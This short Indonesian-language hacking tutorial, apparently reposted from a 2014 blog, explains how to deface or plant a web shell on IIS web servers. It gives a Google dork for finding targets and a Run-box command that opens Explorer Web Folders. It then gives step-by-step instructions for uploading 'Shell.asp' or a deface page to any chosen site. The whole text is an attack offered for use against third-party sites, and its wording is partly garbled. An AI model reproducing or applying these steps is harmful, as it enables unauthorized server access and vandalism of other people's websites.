IIS Ekspoitasi

  

Dork:  inurl: "~ r00t.txt"
             intext: "Powered by IIS"

LEBIH Dorks

1 - Pilih dork apapun dan paste pada Google

2 - Pilih situs manapun


Pemanfaatan Sasaran

1 - Klik Start> Run

2 - Salin dan sisipkan kode ini dalam kotak teks

% WINDIR% \ EXPLORER.EXE, :: {20D04FE0-3AEA-1069-A2D8-08002B30309D} \ :: {BDEADF00-C265-11d0-BCED-00A0C90AB50F}

3 - Klik OK

4-Sekarang jendela akan terbuka. Pilih File> New> Folder Web

5-Ketik alamat website yang ingin Anda deface dalam kotak teks dan klik Next kemudian Finish

 
6 - Sekarang Pergi ke Folder Web Anda buat di My Computer> My Network Places. Buka Folder Paste Shell.asp atau deface halaman.

7 - Sekarang, untuk mengakses shell Anda atau melihat Anda Deface Page, hanya buka browser Anda dan ketik nama situs dan
nama shell Anda nama halaman deface seperti ini- Shell
Deface Halaman
 http://www.site.com/deface-page.htm

Deface Halaman 
 http://www.site.com/deface-page.html   - See more at: http://black-cybersec-crew.blogspot.com/2014/03/iis-exploit.html#sthash.0Zn0JTe8.dpuf